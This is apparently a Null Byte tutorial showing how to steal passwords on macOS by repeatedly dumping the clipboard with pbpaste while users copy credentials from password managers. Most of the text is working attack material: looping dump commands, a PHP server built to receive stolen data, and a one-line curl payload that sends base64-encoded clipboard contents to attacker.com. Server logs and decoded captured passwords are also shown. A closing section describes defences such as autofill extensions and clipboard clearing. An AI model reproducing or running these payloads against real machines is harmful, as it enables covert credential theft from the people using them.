KeePassX, 1Password, and LastPass are effective against keyloggers, phishing, and database breaches, but passwords managers rely on the operating system's clipboard to securely move credentials from the password vault to the web browser. It's within these few seconds that an attacker can dump the clipboard contents and exfiltrate passwords.
Two scenarios come to mind with a clipboard-dumping attack geared toward password managers, and both utilize the pbpaste command found in all versions of macOS. Pbpaste will take any data found in the clipboard (including passwords) and write it to the standard output. Any macOS user can try this by first copying a password to the clipboard then immediately typing pbpaste into a terminal.
It doesn't require special privileges to execute pbpaste, and the clipboard can be written to any file, as shown below. This affects KeePassX, 1Password, LastPass, and even Apple's own built-in iCloud Keychain password manager.
~$ pbpaste >>/tmp/clipboard.txt
Option 1: Dump the Clipboard Locally
Scenario: The attacker has established a persistent backdoor and wants to gather passwords stored in KeePassX, 1Password, or LastPass over a prolonged period. MacOS has become better about protecting against keyloggers, and anyone livestreaming the desktop couldn't unhide or reveal credentials stored in the password managers.
The attacker can dump the clipboard into a local file and occasionally check it for new passwords. An infinite while loop with a five second delay should do the trick.
~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; done
The while loop will execute pbpaste and pause (sleep) for five seconds. The command within the loop will repeat over and over again, repeatedly dumping anything found in the clipboard. An echo has been introduced to create a newline (\n) with every entry to prevent data from concatenating on the same line.
- Don't Miss: Dump Passwords Stored in Firefox Browsers
From an additional Netcat shell, use cat or tail to view the clipboard.txt file contents.
~$ tail -f /tmp/clipboard.txt
Tail will follow (-f) changes appended to the file and immediately print new content discovered in the clipboard.
Prevent the clipboard.txt file from flooding with duplicate lines by evaluating the clipboard contents and comparing it to the last entry in the file.
~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;done
Only if the current clipboard content is not equal (!=) to the last entry (tail -n1) in clipboard.txt will pbpaste update the file.
However, this solution is somewhat flawed. The if statement only compares the last line of the clipboard.txt file, so if there are multiple lines in the clipboard it'll fail to recognize it as a duplicate entry. But it serves its purpose for this article and most scenarios. You can spend a little time devising a robust, proper solution with this as the basic foundation.
Option 2: Exfiltrate Passwords to a Remote Server
Scenario: The attacker doesn't care to remotely access the MacBook. The payload is instead designed to exfiltrate the clipboard to the attacker's server at intervals.
In this scenario, the attacker only cares about exfiltrating the clipboard and hasn't backdoored the MacBook. Instead, they have found a way to remotely execute code on the target macOS device. Setting up this attack involves a PHP server controlled by the attacker used to intercept exfiltrated data. A Debian virtual private server is used in my example.
Step 1: Install PHP
To get started, install php with the following apt-get command, which will work in Debian and Kali Linux.
~# apt-get update && apt-get install php
Ign:1 http://http.us.debian.org/debian stretch InRelease
Hit:2 http://http.us.debian.org/debian stretch-updates InRelease
Hit:3 http://security.debian.org/debian-security stretch/updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php
php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc
0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,209 kB of archives.
After this operation, 19.9 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Make a directory called "phpServer/" using the below mkdir command.
~# mkdir phpServer/
Change into the phpServer/ directory using the cd command.
~# cd phpServer/
Create a file called "index.php" with nano.
~/phpServer# nano index.php
Paste the below PHP code into the nano terminal. Once that's done, to save and exit the nano terminal, press Ctrl+x, then y, then Enter.
<?php
$input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX);
?>
This simple PHP server is capable of intercepting data and doesn't need to be modified in any way to function. When the MacBook sends the clipboard contents, the server will capture and append the data to a file called "clipboard.txt."
Finally, start the PHP server with the php -S 0.0.0.0:80 command.
~/phpServer# php -S 0.0.0.0:80
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
Step 2: Create the Payload
The below script will compare the current clipboard contents to the most recent sent to the attacker's server. For clarity, it's in standard shell script format to allow space for comments.
# While loop to dump the clipboard over and over again, infinitely.
while true; do
# An `if` statement, compares the current clipboard
# content to the content found in the last loop.
if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then
# A `p` to store the encoded clipboard contents. The
# contents must be encoded before sending to the
# attacker's server to prevent it from breaking the
# proceeding curl command.
p="$(echo $(pbpaste) | base64)"
# Curl takes the encoded string and delivers it to
# the attacker's server via POST request.
curl --data "$p" -X POST 'http://attacker.com/'
# The `pbpaste_last` variable is updated. This variable
# is evaluated in the following loop.
pbpaste_last="$(pbpaste)"
# Delay for 5 seconds before checking the clipboard
# for new contents. Decreasing this value will cause
# the script to evaluate the clipboard more frequently,
# but will have a negative impact on the MacBook's
# CPU. Increasing the value may cause the script to
# miss a valuable password. Adjust as needed.
sleep 5
fi
done
Compress the script into one line to have it fit conveniently into various types of stagers.
- Don't Miss: Getting Started with Hacking macOS Computers
while true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; done
Step 3: Examine the Exfiltrated Data
As the PHP server receives clipboard data, it will indicate the origin of the data (IP address) as well as the date and time. Press Ctrl+c to stop the PHP server.
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
[Sun Jun 9 09:03:23 2019] 23.129.64.153:63761 [200]: /
[Sun Jun 9 09:03:33 2019] 23.129.64.153:46089 [200]: /
[Sun Jun 9 09:03:50 2019] 23.129.64.184:13728 [200]: /
[Sun Jun 9 09:03:56 2019] 199.195.250.77:38894 [200]: /
[Sun Jun 9 09:04:02 2019] 199.195.250.77:40646 [200]: /
[Sun Jun 9 09:04:10 2019] 209.141.58.114:45602 [200]: /
View the clipboard.txt contents with cat to find the encoded passwords. KeePassX and 1Password automatically clear the clipboard after ten and thirty seconds, respectively. LastPass states it clears the clipboard "after a default amount of time." Empty deliveries from the MacBook appear as "Cg==" encoded.
~/phpServer# cat clipboard.txt
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
The following command will automatically decode all of the base64 strings in the clipboard.txt file. All of the below strings are passwords captured while using KeePassX, 1Password, and LastPass.
~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done
YT4n3M4sCpjpsTV7LkZoK
this is my password
PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~
YT4n3M4sCpjpsTV7LkZoK
YT4n3M4sCpjpsTV7LkZoK
Live Off the Land (Conclusion)
Penetration testers are encouraged to utilize as many resources already present in the compromised operating system (i.e., "living off the land"). Like cURL, Netcat, Bash, and LibreSSL, pbpaste is yet another built-in tool easily abused by a hacker during post-exploitation engagements.
Attackers will explore every avenue to discover a target's login passwords. Pbpaste makes dumping credentials stored in password managers almost too easy.
How to Protect Yourself from Clipboard Dumping
To prevent an attacker from having an opportunity to dump the clipboard, install the official 1Password browser extension or LastPass browser extension. They are available for all modern web browsers. For KeePassX users, similar browser extensions exist, but none have been officially audited or tested.
For 1Password, once the extension is installed, enable the "1Password Extension Helper" when prompted. Then, the helper would allow 1Password to autofill credentials while logging into websites. Autofill does not use the clipboard at all, therefore preventing a clipboard attack. The process is similar for the LastPass extension.
Keep in mind that neither work 100% of the time. Sometimes, it's necessary to copy passwords to the clipboard when autofill on a website does not work.
If you must copy a password, you can adjust the clipboard settings for the password manager. For instance, you can go open 1Password's preferences, select "Security," then enter a time in seconds by "Clear clipboard contents after." Make it as short as can be. In the hacks above, we used five-second intervals, so three or four seconds may be useful, but that doesn't mean a hacker won't be able to grab a password if it checks the clipboard at the right moment or if the time interval is decreased.
Overall, there is no built-in way to clear the clipboard on macOS after a set amount of time or as soon as an item is pasted, nor would it be advisable since the clipboard is used for more than just passwords.
You could build a Service for "Clear Clipboard" and assign it a keyboard shortcut like Command + Down Arrow. Then, you can manually clear the clipboard after pasting a password, so it's not sitting in there longer than necessary. Just build the Service with Automator, but use the following as the "Run Shell Script." However, you'd run into the same problem as described above about the clipboard being exfiltrated at the right moment or with a smaller interval before checks.
pbcopy </dev/null
If you enjoyed this article, follow me on Twitter @tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.
- Follow Null Byte on Twitter, Flipboard, and YouTube
- Sign up for Null Byte's weekly newsletter
- Follow WonderHowTo on Facebook, Twitter, Pinterest, and Flipboard
Cover photo and screenshots by tokyoneon/Null Byte
Comments
No Comments Exist
Be the first, drop a comment!